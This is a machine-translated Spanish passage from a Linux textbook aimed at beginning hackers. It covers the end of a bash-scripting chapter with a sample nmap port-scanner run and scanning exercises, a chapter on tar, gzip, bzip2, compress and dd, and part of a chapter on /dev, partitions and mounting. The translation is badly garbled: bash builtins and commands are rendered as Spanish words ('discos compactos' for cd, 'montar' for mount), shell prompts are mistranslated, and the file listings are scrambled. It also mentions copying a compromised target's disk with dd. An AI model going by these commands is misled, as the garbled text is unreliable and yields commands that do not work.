ÿ . Finalmente,
archivo MySQLscan2
mostramosÿ.el

Si todo funciona como se espera, este script escaneará las direcciones IP desde la primera
dirección de entrada hasta la última dirección de entrada, buscará el puerto de entrada y luego
informará solo con las direcciones IP que tienen el puerto designado abierto. Guarde su archivo
de secuencia de comandos MySQLscannerAdvanced, recordando darse permiso de ejecución. como

Una ejecución de muestra

Ahora podemos ejecutar nuestro script de escaneo simple con las variables que determinan qué
rango de direcciones IP y puerto escanear sin tener que editar el script cada vez que queramos
ejecutar un escaneo:

kali >./MySQLscannerAdvanced.sh
Ingrese la dirección IP inicial:
192.168.181.0 Ingrese la última dirección
IP: 192.168.181.255
Machine Translated by Google

Introduzca el número de puerto que desea buscar:


3306
Anfitrión: 192.168.181.254 () Puertos: 3306/open/tcp//mysql//

El script solicita al usuario la primera dirección IP, la última IP


dirección y luego el puerto a escanear. Después de recopilar esta información, el
script realiza el escaneo nmap y produce un informe de todas las IP
direcciones en el rango que tienen el puerto especificado abierto. Como puedes ver,
incluso el más simple de los scripts puede crear una herramienta poderosa. Aprenderás
aún más sobre secuencias de comandos en el Capítulo 17.

Comandos bash incorporados comunes


Como se prometió, la Tabla 8-1 le brinda una lista de algunos comandos útiles creados
en bash.

Tabla 8-1: Comandos Bash incorporados

función de comando

: Devuelve 0 o verdadero

. Ejecuta un script de shell

bg Pone un trabajo en segundo plano

descanso Sale del bucle actual

discos compactos Directorio de cambios

continuar Reanuda el ciclo actual

eco Muestra los argumentos del comando.

evaluar Evalúa la siguiente expresión

ejecutivo Ejecuta el siguiente comando sin crear un nuevo


proceso

Salida Sale de la cáscara

exportar Hace que una variable o función esté disponible para otros programas

fg Trae un trabajo al primer plano

obtener opciones Analiza los argumentos del script de shell


Machine Translated by Google

función de comando

trabajos Enumera trabajos de fondo (bg)

personas con discapacidad


Muestra el directorio actual

leer Lee una línea de la entrada estándar

solo lectura Declara como variable como de solo lectura

colocar
Lista todas las variables

cambio Mueve los parámetros a la izquierda

prueba Evalúa argumentos

[
Realiza una prueba condicional.

veces Imprime los tiempos del usuario y del sistema.

trampa Atrapa una señal

escribe Muestra cómo se interpretaría cada argumento como un


mando

máscara Cambia los permisos predeterminados para un nuevo archivo

desarmado
Elimina valores de una variable o función

Espere Espera a que se complete un proceso en segundo plano

Resumen
La creación de scripts es una habilidad esencial para cualquier hacker o administrador de sistemas. Eso
le permite automatizar tareas que normalmente tomarían horas de su
tiempo, y una vez que se guarda el script, se puede utilizar una y otra vez.
Bash scripting es la forma más básica de scripting, y avanzará
a las secuencias de comandos de Python con aún más capacidades en el Capítulo 17.

EJERCICIOS

Antes de pasar al Capítulo 9, pruebe las habilidades que aprendió en este capítulo
completando los siguientes ejercicios:

1. Cree su propia secuencia de comandos de saludo similar a nuestra secuencia de comandos HelloHackersArise.
Machine Translated by Google

2. Cree un script similar a MySQLscanner.sh pero diséñelo para encontrar sistemas con la base
de datos SQL Server de Microsoft en el puerto 1433. Llámelo MSSQLscanner.
3. Modifique esa secuencia de comandos MSSQLscanner para solicitar al usuario una dirección
IP inicial y final y el puerto para buscar. Luego filtre todas las direcciones IP donde esos
puertos están cerrados y muestre solo aquellos que están abiertos.
Machine Translated by Google

9
COMPRIMIR Y ARCHIVAR

Los piratas informáticos a menudo necesitan descargar e instalar software nuevo,


así como enviar y descargar múltiples secuencias de comandos y archivos de
gran tamaño. Estas tareas son más fáciles si estos archivos se comprimen y
combinan en un solo archivo. Si viene del mundo de Windows, probablemente
reconocerá este concepto por el formato .zip, que combina y comprime archivos
para hacerlos más pequeños para transferirlos a través de Internet o medios
extraíbles. Hay muchas maneras de hacer esto en Linux, y en este capítulo
veremos algunas de las herramientas más comunes para hacerlo. También
observamos el comando dd , que le permite copiar unidades completas, incluidos
los archivos eliminados en esas unidades.

¿Qué es la compresión?
El interesante tema de la compresión podría llenar un libro entero por sí solo,
pero para este libro solo necesitamos una comprensión rudimentaria del proceso.
La compresión, como su nombre lo indica, hace que los datos sean más
pequeños, por lo que requiere menos capacidad de almacenamiento y facilita la
transmisión de los datos. Para sus propósitos como hacker principiante, será
suficiente clasificar la compresión como con pérdida o sin pérdida.
Machine Translated by Google

La compresión con pérdida es muy eficaz para reducir el tamaño de los


archivos, pero se pierde la integridad de la información. En otras palabras, el
archivo después de la compresión no es exactamente igual al original. Este tipo
de compresión funciona muy bien para archivos de gráficos, video y audio, donde
apenas se nota una pequeña diferencia en el archivo: mp3, .mp4, .png y .jpg son
todos algoritmos de compresión con pérdida. Si se cambia un píxel en un
archivo .png o una sola nota en un archivo .mp3, es poco probable que su ojo u
oído noten la diferencia, aunque, por supuesto, los aficionados a la música dirán
que definitivamente pueden notar la diferencia entre un archivo . mp3 y un
archivo .flac sin comprimir. Los puntos fuertes de la compresión con pérdida son
su eficiencia y eficacia. La relación de compresión es muy alta, lo que significa
que el archivo resultante es significativamente más pequeño que el original.
Sin embargo, la compresión con pérdida es inaceptable cuando envía archivos
o software y la integridad de los datos es crucial. Por ejemplo, si está enviando
un guión o un documento, la integridad del archivo original debe conservarse
cuando se descomprime. Este capítulo se centra en este tipo de compresión sin
pérdidas, que está disponible en varias utilidades y algoritmos. Desafortunadamente,
la compresión sin pérdida no es tan eficiente como la compresión con pérdida,
como puede imaginar, pero para el pirata informático, la integridad suele ser
mucho más importante que la relación de compresión.

Tarring de archivos juntos Por lo

general, lo primero que hace al comprimir archivos es combinarlos en un archivo


comprimido. En la mayoría de los casos, al archivar archivos, utilizará el comando
tar . Tar significa archivo de cinta, una referencia a los días prehistóricos de la
informática cuando los sistemas usaban cinta para almacenar datos. El comando
tar crea un solo archivo a partir de muchos archivos, que luego se denomina
archivo comprimido, archivo tar o tarball.
Por ejemplo, digamos que tiene tres archivos de script como los que usamos
en el Capítulo 8, llamados hackersarise1, hackersarise2 y hackersarise3. Si
navega al directorio que los contiene y realiza una lista larga, puede ver
claramente los archivos y los detalles que esperaría, incluido el tamaño de los
archivos, como se muestra aquí:
Machine Translated by Google

kali >ls -l
-rwxr-xr-x 1 raíz raíz -rwxr- 22311 27 de noviembre de 2018 13:00 hackersarise1.sh
xr-x 1 raíz raíz -rwxr-xr-x 1 8791 27 de noviembre de 2018 13:00 hackersarise2.sh
raíz raíz 3992 27 de noviembre de 2018 13:00 hackersarise3.sh

Supongamos que desea enviar estos tres archivos a otro pirata informático con
el que está trabajando en un proyecto. Puede combinarlos y crear un solo archivo
usando el comando del Listado 9-1.

kali >tar -cvf HackersArise.tar hackersarise1 hackersarise2 hackersarise3 hackersarise1


hackersarise2 hackersarise3

Listado 9-1: Creando un tarball de tres archivos

Analicemos este comando para entenderlo mejor. El comando de archivo es


tar, y lo estamos usando aquí con tres opciones.
La opción c significa crear, v (que significa detallado y es opcional) enumera los
archivos con los que se trata tar , y f significa escribir en el siguiente archivo. Esta
última opción también funcionará para leer archivos. Luego le damos al nuevo
archivo el nombre de archivo que desea crear a partir de los tres scripts:
HackersArise.tar.

En su totalidad, este comando tomará los tres archivos y creará un solo archivo,
HackersArise.tar, a partir de ellos. Cuando haga otra lista larga del directorio, verá
que también contiene el nuevo archivo .tar, como se muestra
próximo:

kali> ls -l --
snip-- -rw-r -
r-- 1 raíz raíz 40960 27 de noviembre de 2018 13:32 HackersArise.tar --snip-- kali>

Tenga en cuenta el tamaño del tarball aquí: 40.960 bytes. Cuando se archivan
los tres archivos, tar utiliza una sobrecarga significativa para realizar esta operación:
mientras que la suma de los tres archivos antes del archivado era de 35 094 bytes,
después del archivado, el tarball había aumentado a 40 960 bytes. En otras
palabras, el proceso de archivado ha agregado más de 5000 bytes. Aunque esta
sobrecarga puede ser significativa con archivos pequeños, se vuelve cada vez
menos significativa con archivos cada vez más grandes.
Machine Translated by Google

Podemos mostrar esos archivos desde el tarball, sin extraerlos, usando el


comando tar con el interruptor de lista de contenido -t , como se muestra a continuación:

kali> tar -tvf HackersArise.tar


-rwxr-xr-x 1 raíz raíz -rwxr-xr-x 1 22311 27 de noviembre de 2018 13:00 hackersarise1.sh
raíz raíz -rwxr-xr-x 1 raíz raíz 8791 27 de noviembre de 2018 13:00 hackersarise2.sh
3992 27 de noviembre de 2018 13:00 hackersarise3.sh

Aquí, vemos nuestros tres archivos originales y sus tamaños originales. Luego
puede extraer esos archivos del tarball usando el comando tar con el interruptor -x
(extraer), como se muestra a continuación:

kali> tar -xvf HackersArise.tar


hackersarise1.sh hackersarise2.sh
hackersarise3.sh

Debido a que todavía está usando el modificador –v , este comando mostrará


qué archivos se extraen en la salida. Si desea extraer los archivos y hacerlo "en
silencio", es decir, sin mostrar ningún resultado, simplemente puede eliminar el
interruptor -v (detallado), como se muestra aquí:

kali> tar -xf HackersArise.tar

Los archivos se han extraído en el directorio actual; puede hacer una lista larga
en el directorio para verificar dos veces. Tenga en cuenta que, de forma
predeterminada, si ya existe un archivo extraído, tar eliminará el archivo existente y
lo reemplazará con el archivo extraído.

Comprimir archivos
Ahora tenemos un archivo archivado, pero ese archivo es más grande que la suma
de los archivos originales. ¿Qué sucede si desea comprimir esos archivos para
facilitar el transporte? Linux tiene varios comandos capaces de crear archivos
comprimidos. Veremos estos:

gzip, que usa la extensión .tar.gz o .tgz bzip2, que usa


la extensión .tar.bz2, que usa la extensión .tar.z
compress,
Machine Translated by Google

Todos estos son capaces de comprimir nuestros archivos, pero usan diferentes
algoritmos de compresión y tienen diferentes relaciones de compresión.
Por lo tanto, veremos cada uno y lo que es capaz de hacer.
En general, la compresión es la más rápida, pero los archivos resultantes son
más grandes; bzip2 es el más lento, pero los archivos resultantes son los más
pequeños; y gzip cae en algún punto intermedio. La razón principal por la que usted,
como hacker en ciernes, debe conocer los tres métodos es que al acceder a otras
herramientas, se encontrará con varios tipos de compresión. Por lo tanto, esta
sección le muestra cómo manejar los principales métodos de compresión.

Comprimir con gzip Probemos

primero con gzip (GNU zip), ya que es la utilidad de compresión más utilizada en
Linux. Puede comprimir su archivo HackersArise.tar ingresando lo siguiente
(asegurándose de estar en el directorio que contiene el archivo archivado):

kali >gzip HackersArise.*

Observe que usamos el comodín * para la extensión del archivo; esto le dice a
Linux que el comando debe aplicarse a cualquier archivo que comience con
HackersArise con cualquier extensión de archivo. Utilizará una notación similar para
los siguientes ejemplos. Cuando hacemos una lista larga en el directorio, podemos
ver que HackersArise.tar ha sido reemplazado por HackersArise.tar.gz, ¡y el tamaño
del archivo se ha comprimido a solo 3299 bytes!

kali> ls -l --
snip-- -rw-r
- r-- 1 raíz raíz 3299 27 de noviembre de 2018 13:32 HackersArise.tar.gz --
snip--

Luego podemos descomprimir ese mismo archivo usando el comando gunzip ,


abreviatura de GNU unzip.

kali >gunzip HackersArise.*

Una vez descomprimido, el archivo ya no se guarda con la extensión .tar.gz sino


con la extensión .tar. Además, observe que tiene
Machine Translated by Google

volvió a su tamaño original de 40.960 bytes. Intente hacer una lista larga para confirmar
esto. Vale la pena señalar que gzip también se puede usar para extraer archivos .zip.

Comprimir con bzip2 Otra de las otras

utilidades de compresión ampliamente utilizadas en Linux es bzip2, que funciona de


manera similar a gzip pero tiene mejores índices de compresión, lo que significa que el
archivo resultante será aún más pequeño. Puede comprimir su archivo HackersArise.tar
ingresando lo siguiente:

tiempos >bzip2 HackersArise.*

Cuando hace una lista larga, puede ver que bzip2 ha comprimido el archivo a solo
2081 bytes. También tenga en cuenta que la extensión del archivo ahora es .tar.bz2.

Para descomprimir el archivo comprimido, use bunzip2, así:

veces >bunzip2 HackersArise.*


veces >

Cuando lo hace, el archivo vuelve a su tamaño original y su archivo


extensión vuelve a .tar.

Comprimir con compresa


Finalmente, puede usar el comando compress para comprimir el archivo. Esta es
probablemente la utilidad de compresión menos utilizada, pero es fácil de recordar. Para
usarlo, simplemente ingrese el comando seguido del nombre del archivo, así:
comprimir

kali> compress HackersArise.*


kali> ls -l --snip-- -rw-r - r-- 1 root
root 5476 27 de noviembre de
2018 13:32 HackersArise.tar.Z

Tenga en cuenta que la utilidad de compresión redujo el tamaño del archivo a 5476
bytes, más del doble del tamaño de bzip2. También tenga en cuenta que la extensión del
archivo ahora es .tar.Z (con una Z mayúscula).
Machine Translated by Google

Para descomprimir el mismo archivo, use descomprimir:

veces >descomprimir HackersArise.*

También puede utilizar el comando gunzip con archivos comprimidos con


comprimir.

Creación de copias físicas o bit a bit del almacenamiento


Dispositivos

Dentro del mundo de la seguridad de la información y la piratería, un comando de archivado


de Linux destaca sobre el resto en su utilidad. El comando dd hace una copia bit a bit de un
archivo, un sistema de archivos o incluso un disco duro completo. Esto significa que incluso
los archivos eliminados se copian (sí, es importante saber que sus archivos eliminados pueden
recuperarse), lo que facilita el descubrimiento y la recuperación. Los archivos eliminados no
se copiarán con la mayoría de las utilidades de copia lógica, como cp.

Una vez que un hacker es propietario de un sistema de destino, el comando dd le permitirá


copiar todo el disco duro o un dispositivo de almacenamiento en su sistema.
Además, aquellas personas cuyo trabajo es atrapar a los piratas informáticos, es decir, los
investigadores forenses, probablemente usarán este comando para hacer una copia física del
disco duro con archivos eliminados y otros artefactos que podrían ser útiles para encontrar
evidencia contra el pirata informático.
Es fundamental tener en cuenta que el comando dd no debe usarse para la copia diaria

típica de archivos y dispositivos de almacenamiento porque es muy lento; otros comandos


hacen el trabajo más rápido y de manera más eficiente. Sin embargo, es excelente cuando
necesita una copia de un dispositivo de almacenamiento sin el sistema de archivos u otras
estructuras lógicas, como en una investigación forense.
La sintaxis básica para el comando dd es la siguiente:

dd if= archivo de entrada of=archivo de salida

Entonces, si desea hacer una copia física de su unidad flash, suponiendo que la unidad
flash sea sdb (hablaremos más sobre esta designación en
Capítulo 10), ingresaría lo siguiente:
Machine Translated by Google

kali >dd if=/dev/sdb of=/root/flashcopy


1257441=0 registros entrantes 1257440+0
registros salientes 7643809280 bytes (7,6
GB) copiados, 1220,729 s, 5,2 MB/s

Analicemos este comando: dd es su comando físico de "copiar"; if designa


su archivo de entrada, con /dev/sdb representando su unidad flash en el
directorio /dev; de designa su archivo de salida; y /root/flashcopy es el nombre
del archivo al que desea copiar la copia física. (Para obtener una explicación
más completa de la designación de unidades del sistema Linux dentro del
directorio /dev, consulte el Capítulo 10).
Hay numerosas opciones disponibles para usar con el comando dd , y
puede investigar un poco sobre ellas, pero entre las más útiles se encuentran
la opción sin error y la opción bs (tamaño de bloque). Como su nombre lo
indica, la opción noerror continúa copiándose incluso si se encuentran errores.
La opción bs le permite determinar el tamaño del bloque (la cantidad de bytes
leídos/escritos por bloque) de los datos que se copian. De forma predeterminada,
está configurado en 512 bytes, pero se puede cambiar para acelerar el proceso.
Por lo general, esto se establecería en el tamaño de sector del dispositivo,
generalmente 4 KB (4096 bytes). Con estas opciones, su comando se vería así:

kali >dd if=/dev/media of=/root/flashcopy bs=4096 conv:sin error

Como se mencionó, vale la pena investigar un poco más por su cuenta,


pero esta es una buena introducción al comando y sus usos comunes.

Resumen

Linux tiene varios comandos que le permiten combinar y comprimir sus archivos
para facilitar la transferencia. Para combinar archivos, tar es el comando
elegido y tiene al menos tres utilidades para comprimir archivos: gzip, bzip2 y
compress, todas con diferentes relaciones de compresión. El comando dd va
más allá. Le permite hacer una copia física de los dispositivos de
almacenamiento sin las estructuras lógicas, como un sistema de archivos, lo
que le permite recuperar tales artefactos como archivos eliminados.
Machine Translated by Google

EJERCICIOS

Antes de pasar al Capítulo 10, pruebe las habilidades que aprendió en este capítulo completando los
siguientes ejercicios:

1. Cree tres scripts para combinar, de forma similar a lo que hicimos en el Capítulo 8. Nómbrelos
Linux4Hackers1, Linux4Hackers2 y Linux4Hackers3.
2. Cree un tarball a partir de estos tres archivos. Nombra el tarball L4H. Observe cómo el tamaño de
la suma de los tres archivos cambia cuando se tarean juntos.
3. Comprima el tarball L4H con gzip. Observe cómo cambia el tamaño del archivo.
Investigue cómo puede controlar la sobrescritura de archivos existentes. Ahora descomprime el
archivo L4H.

4. Repita el ejercicio 3 usando bzip2 y compress.


5. Haga una copia física, bit a bit, de una de sus unidades flash usando el comando dd .
Machine Translated by Google

10
SISTEMA DE ARCHIVOS Y DISPOSITIVO DE ALMACENAMIENTO

ADMINISTRACIÓN

Si viene de un entorno Windows, la forma en que Linux representa y administra los


dispositivos de almacenamiento le parecerá bastante diferente.
Ya ha visto que el sistema de archivos no tiene una representación física de la unidad,
como el sistema C:, D: o E: en Windows, sino que tiene una estructura de árbol de
archivos con / en la parte superior o raíz. Este capítulo analiza cómo Linux representa
los dispositivos de almacenamiento, como discos duros, unidades flash y otros
dispositivos de almacenamiento.
Primero observamos cómo se montan las unidades adicionales y otros dispositivos
de almacenamiento en ese sistema de archivos, lo que lleva al directorio / (raíz).
Montar en este contexto simplemente significa conectar unidades o discos al sistema
de archivos para que sean accesibles para el sistema operativo (SO). Para usted,
como hacker, es necesario comprender el sistema de gestión de archivos y dispositivos
de almacenamiento, tanto en su propio sistema como, a menudo, en el sistema de su
objetivo. Los piratas informáticos suelen utilizar medios externos para cargar datos,
herramientas de piratería o incluso su sistema operativo. Una vez que esté en su
sistema de destino, debe comprender con qué está trabajando, dónde encontrar
archivos confidenciales u otros archivos críticos, cómo montar una unidad en el destino
y si puede colocar esos archivos en su sistema y dónde. . Cubrimos todos estos
temas, además de cómo administrar y monitorear los dispositivos de almacenamiento, en este capítu
Machine Translated by Google

Comenzamos con el directorio conocido como /dev, que probablemente haya


ya notado en la estructura del directorio: dev es la abreviatura de dispositivo, y
cada dispositivo en Linux está representado por su propio archivo dentro de /dev
directorio. Comencemos trabajando con /dev.

El directorio de dispositivos /dev


Linux tiene un directorio especial que contiene archivos que representan cada
dispositivo adjunto: el directorio /dev con el nombre apropiado. como tu primera
introducción, navegue hasta el directorio /dev y luego realice una larga
listado en él. Debería ver algo como el Listado 10-1.

kali > cd/dev


kali>ls-l
total 0
crw------- 1 raíz raíz 10,175 16 de mayo 12:44 agpgart
crw------- 1 raíz raíz 10,235 16 de mayo 12:44 autofs
drwxr-xr-x 1 raíz raíz 160 16 de mayo 12:44 bloque
--recorte--
lrwxrwxrwx 1 raíz raíz --recorte-- 3 16 mayo 12:44 cdrom -> sr0

drwxr-xr-x 2 raíz raíz --recorte-- 60 16 de mayo 12:44 cpu

Listado 10-1: una lista larga del directorio /dev

Los dispositivos se muestran en orden alfabético de forma predeterminada. Puedes


reconocer algunos de los dispositivos, como cdrom y cpu, pero otros tienen
nombres bastante crípticos. Cada dispositivo en su sistema está representado por un
archivo en el directorio /dev, incluidos los dispositivos que probablemente nunca haya usado
o incluso se dio cuenta de que existía. En caso de que lo haga, hay un archivo de dispositivo
esperando a ser utilizado para ello.

Si se desplaza un poco hacia abajo en esta pantalla, debería ver más listados de
dispositivos. De particular interés son los dispositivos sda1, sda2, sda3, sdb y
sdb1, que son el disco duro y sus particiones y una unidad flash USB
y sus particiones.

--recorte--
brw-rw---- 1 raíz raíz brw-rw---- 8, 0 16 de mayo 12:44 sda
1 raíz raíz brw-rw---- 1 raíz 8, 1 16 de mayo 12:44 sda1
raíz brw-rw---- 1 raíz raíz 8, 2 16 de mayo 12:44 sda2
8, 5 16 de mayo 12:44 sda5
Machine Translated by Google

brw-rw---- 1 raíz raíz brw- 8, 16 mayo 16 12:44 sdb


rw---- 1 raíz raíz --snip-- 8, 17 16 mayo 12:44 sdb1

Echemos un vistazo más de cerca a estos.

Cómo representa Linux los dispositivos de almacenamiento

Linux usa etiquetas lógicas para las unidades que luego se montan en el
sistema de archivos Estas etiquetas lógicas variarán dependiendo de dónde se encuentren las unidades.
están montados, lo que significa que el mismo disco duro puede tener diferentes etiquetas
en diferentes momentos, dependiendo de dónde y cuándo se monte.

Originalmente, Linux representaba las unidades de disquete (¿las recuerda?) como fd0
y discos duros como hda. Todavía verá ocasionalmente estas unidades
representaciones en sistemas Linux heredados, pero hoy en día la mayoría de las unidades de disquete
se han ido (gracias a Dios). Aun así, los discos duros heredados antiguos que usaban un
La interfaz IDE o E-IDE todavía se representa en la forma hda. Más nuevo
Unidades de interfaz Serial ATA (SATA) y Small Computer System
Los discos duros de interfaz (SCSI) se representan como sda. Las unidades son
a veces se dividen en secciones conocidas como particiones, que son
representado en el sistema de etiquetado con números, como verás a continuación.

Cuando los sistemas tienen más de un disco duro, Linux simplemente nombra
en serie incrementando la última letra en orden alfabético, por lo que el
la primera unidad es sda, la segunda unidad es sdb, la tercera unidad es sdc y
así sucesivamente (ver Tabla 10-1). La letra de serie después de sd a menudo se denomina
el número mayor.

Tabla 10-1: Sistema de nombres de dispositivos

Archivo de dispositivoDescripción

algo Primer disco duro SATA

baño Segundo disco duro SATA


sdc Tercer disco duro SATA

sdd Cuarto disco duro SATA


Machine Translated by Google

Particiones de disco

Algunas unidades se pueden dividir en particiones para administrar y separar


información. Por ejemplo, es posible que desee separar su disco duro para que
que su archivo de intercambio, directorio de inicio y / directorio están todos en separado
particiones: es posible que desee hacer esto por varias razones,
incluso para compartir recursos y relajar los permisos predeterminados. linux
etiqueta cada partición con un número menor que viene después de la unidad
designacion. De esta manera, la primera partición en la primera unidad SATA
ser sda1. La segunda partición sería entonces sda2, la tercera sda3, y así
encendido, como se ilustra en la Tabla 10-2.

Tabla 10-2: Sistema de etiquetado de particiones

Partición Descripción
sda1 La primera partición (1) en la primera (a) unidad SATA
sda2 La segunda (2) partición en la primera (a) unidad
sda3 La tercera (3) partición en la primera (a) unidad

sda4 La cuarta (4) partición en la primera (a) unidad

A veces, es posible que desee ver las particiones en su sistema Linux


para ver cuáles tienes y cuánta capacidad hay disponible en cada uno.
Puede hacer esto usando la utilidad fdisk . Usando el modificador -l con fdisk
enumera todas las particiones de todas las unidades, como se muestra en el Listado 10-2.

kali> fdisk -l
Disco /dev/sda: 20GiB, 21474836480 bytes, 41943040 sectores
Unidades: sectores de 1 * 512 = 512 bytes
Tamaño del sector (lógico/físico): 512 bytes / 512 bytes
Tamaño de E/S (mínimo/óptimo): 512 bytes/512 bytes
Tipo de etiqueta de disco: dos
Identificador de disco: 0x7c06cd70

Bota Inicio Final Sectores Tamaño Id Tipo


* 2048 39174143 39172096 18,7G 83 Linux
Dispositivo /
dev/sda1 / 39176190 41940991 2764802 1.3G 82 1.3G 5 Extendido
dev/sda2 /dev/sda5 39176192 41940991 2764800 Intercambio de Linux/Solaris

Disco /dev/sdb: 29,8 GiB, 31999393792 bytes, 62498816 sectores


Unidades: sectores de 1 * 512 = 512 bytes
Tamaño del sector (lógico/físico): 512 bytes / 512 bytes
Machine Translated by Google

Tamaño de E/S (mínimo/óptimo): 512 bytes/512 bytes


Tipo de etiqueta de disco: dos
Identificador de disco: 0xc3072e18

Inicio de arranque Sectores finales Tamaño Id. Tipo 32


Dispositivo /dev/sdb1 62498815 62498784 29,8G 7 HPFS/NTFS/exFAT

Listado 10-2: Listado de particiones con fdisk

Como puede ver en el Listado 10-2, los dispositivos sda1, sda2 y sda5 se
enumeran en la primera estrofa. Estos tres dispositivos forman el disco virtual de
mi máquina virtual, que es una unidad de 20 GB con tres particiones, incluida la
partición de intercambio (sda5), que actúa como RAM virtual, similar a los archivos
de página en Windows, cuando se excede la capacidad de RAM.
Si escanea el Listado 10-2 hasta la tercera estrofa, verá una salida de segundo
dispositivo designada sdb1: la etiqueta b nos dice que esta unidad está separada
de los primeros tres dispositivos. Esta es mi unidad flash de 64 GB. Tenga en
cuenta que fdisk indica que es un tipo de sistema de archivos HPFS/NTFS/ExFAT.
Estos tipos de archivos (Sistema de archivos de alto rendimiento (HPFS), Sistema
de archivos de nueva tecnología (NTFS) y Tabla de asignación de archivos
extendida (exFAT)) no son nativos de los sistemas Linux, sino de los sistemas
macOS y Windows. Vale la pena poder reconocer los tipos de archivos nativos de
diferentes sistemas cuando investiga. El sistema de archivos puede indicar en qué
tipo de máquina se formateó la unidad, lo que puede ser información valiosa. Kali
puede utilizar unidades flash USB creadas en muchos sistemas operativos
diferentes.
Como vio en el Capítulo 1, el sistema de archivos de Linux tiene una estructura
significativamente diferente a la de Windows y otros sistemas operativos
propietarios. Además de esto, la forma en que se almacenan y administran los
archivos también es diferente en Linux. Las nuevas versiones de Windows usan un
sistema de archivos NTFS, mientras que los sistemas antiguos de Windows usan
sistemas de tabla de asignación de archivos (FAT). Linux utiliza varios tipos
diferentes de sistemas de archivos, pero los más comunes son ext2, ext3 y ext4.
Todas estas son iteraciones del sistema de archivos ext (o extendido), siendo ext4 la última.

Dispositivos de caracteres y bloques


Machine Translated by Google

Algo más a tener en cuenta sobre la denominación de los archivos de dispositivo en /dev
directorio es que la primera posición contiene c o b. puedes ver esto
en el Listado 10-1 al comienzo de la mayoría de las entradas, y parece algo
Me gusta esto:

crw------- 1 raíz raíz 10,175 16 de mayo 12:44 agpgart

Estas letras representan las dos formas en que los dispositivos transfieren datos en y
fuera. La c significa carácter, y estos dispositivos se conocen, como usted
podría esperar, como dispositivos de carácter. Dispositivos externos que interactúan con el
sistema enviando y recibiendo datos carácter por carácter, como
ratones o teclados, son dispositivos de carácter.
La b representa el segundo tipo: dispositivos de bloque. se comunican en
bloques de datos (múltiples bytes a la vez) e incluyen dispositivos como hardware
unidades y unidades de DVD. Estos dispositivos requieren datos de mayor velocidad
rendimiento y, por lo tanto, enviar y recibir datos en bloques (muchos
caracteres o bytes a la vez). Una vez que sepa si un dispositivo es un
carácter o dispositivo de bloque, puede obtener fácilmente más información al respecto,
como verás a continuación.

Lista de dispositivos e información de bloques con lsblk


El comando de Linux lsblk, abreviatura de list block, enumera algunos
información sobre cada dispositivo de bloque enumerado en /dev. el resultado es parecido
a la salida de fdisk -l, pero también mostrará dispositivos con múltiples
particiones en una especie de árbol, mostrando cada dispositivo con sus particiones como
sucursales, y no requiere privilegios de root para ejecutarse. En el Listado 10-3,
por ejemplo, vemos sda, con sus ramas sda1, sda2 y sda5.

tiempos > lsblk


MAJ:MIN TAMAÑO RM TIPO RO PUNTO DE MONTAJE
2:0 disco 4K 0
8:0 1 0 20G 0 disco
Nombre 8:1 0 18.7G 0 parte /
fd0 8:2 0 1K 0 parte
sda1 |- 8:5 0 1.3G 0 parte [CAMBIAR]
sda1 |- 8:16 1 29.8G 0 disco
sda2 |- 8,17 1 29.8G 0 disco/soporte
sda5 sdb |-sdb111:0
sr0 1 2.7G 0 ROM
Machine Translated by Google

Listado 10-3: Listado de información de dispositivos de bloque con lsblk

La salida incluye la unidad de disquete como fd0 y la unidad de DVD como sr0, aunque
ninguna está en mi sistema; esto es simplemente un remanente de los sistemas heredados.
También podemos ver información sobre el punto de montaje de la unidad: esta es la posición en
la que se conectó la unidad al sistema de archivos. Tenga en cuenta que el disco duro sda1 está
montado en / y la unidad flash está montada en /media. Verá más sobre el significado de esto en
la siguiente sección.

Montaje y Desmontaje
La mayoría de los sistemas operativos modernos, incluidas la mayoría de las versiones nuevas de
Linux, montan automáticamente los dispositivos de almacenamiento cuando se conectan, lo que
significa que la nueva unidad flash o disco duro se conecta automáticamente al sistema de
archivos. Para aquellos nuevos en Linux, el montaje puede ser un tema extraño.

Un dispositivo de almacenamiento primero debe conectarse físicamente al sistema de archivos


y luego conectarse lógicamente al sistema de archivos para que los datos estén disponibles para
el sistema operativo. En otras palabras, incluso si el dispositivo está conectado físicamente al
sistema, no está necesariamente conectado lógicamente ni disponible para el sistema operativo.
El término montaje es un legado de los primeros días de la informática cuando las cintas de
almacenamiento (antes de los discos duros) tenían que montarse físicamente en el sistema
informático. Piense en esas grandes computadoras con unidades de cinta giratorias que quizás
haya visto en viejas películas de ciencia ficción.

Como se mencionó, el punto en el árbol de directorios donde se conectan los dispositivos se


conoce como punto de montaje. Los dos puntos de montaje principales en Linux son /mnt y /media.
Como regla general, los discos duros internos se montan en /mnt, y los dispositivos USB externos,
como unidades flash y discos duros USB externos, se montan en /media, aunque técnicamente se
puede usar cualquier directorio.

Montaje de dispositivos de almacenamiento usted mismo


Machine Translated by Google

En algunas versiones de Linux, debe montar una unidad manualmente para acceder a
su contenido, por lo que vale la pena aprender esta habilidad. Para montar una unidad
en el sistema de archivos, utilice el comando de montaje . El punto de montaje del
dispositivo debe ser un directorio vacío; si monta un dispositivo en un directorio que tiene
subdirectorios y archivos, el dispositivo montado cubrirá el contenido del directorio,
haciéndolo invisible y no disponible. Entonces, para montar el nuevo disco duro sdb1 en
el directorio /mnt, debe ingresar lo siguiente:

kali > montar /dev/sdb1 /mnt

Ese disco duro debería estar disponible para el acceso. Si desea montar la unidad
flash sdc1 en el directorio /media, ingrese esto:

kali >montar /dev/sdc1 /medios

Los sistemas de archivos que están montados en un sistema se guardan en un


archivo en /etc/fstab (abreviatura de tabla de sistema de archivos), que el sistema lee en
cada arranque.

Desmontar con umount


Si proviene de un entorno Mac o Windows, probablemente haya desmontado una unidad
sin saberlo. Antes de quitar una unidad flash de su sistema, la "expulsa" para evitar dañar
los archivos almacenados en el dispositivo. Expulsar es solo otra palabra para desmontar.

Al igual que con el comando de montaje , puede desmontar un segundo disco duro
ingresando el comando umount seguido de la entrada del archivo del dispositivo en el
directorio /dev, como /dev/sdb. Tenga en cuenta que el comando no se deletrea unmount
sino umount (sin n).

kali >umount /dev/sdb1

No puede desmontar un dispositivo que está ocupado, por lo que si el sistema está
leyendo o escribiendo en el dispositivo, solo recibirá un error.
Machine Translated by Google

Supervisión de sistemas de archivos

En esta sección, veremos algunos comandos para monitorear el estado de


el sistema de archivos, una habilidad necesaria para cualquier hacker o administrador de sistemas.
Obtendremos información sobre los discos montados y luego buscaremos y corregiremos
errores Los dispositivos de almacenamiento son particularmente propensos a errores, por lo que vale la pena
aprendiendo esta habilidad.

Obtener información sobre discos montados

El comando df (para disco libre) nos proporcionará información básica sobre


cualquier disco duro o dispositivo montado, como CD, DVD y unidades flash,
incluyendo cuánto espacio se está utilizando y cuánto está disponible (ver
Listado 10-4). Sin ninguna opción, df por defecto es la primera unidad en su
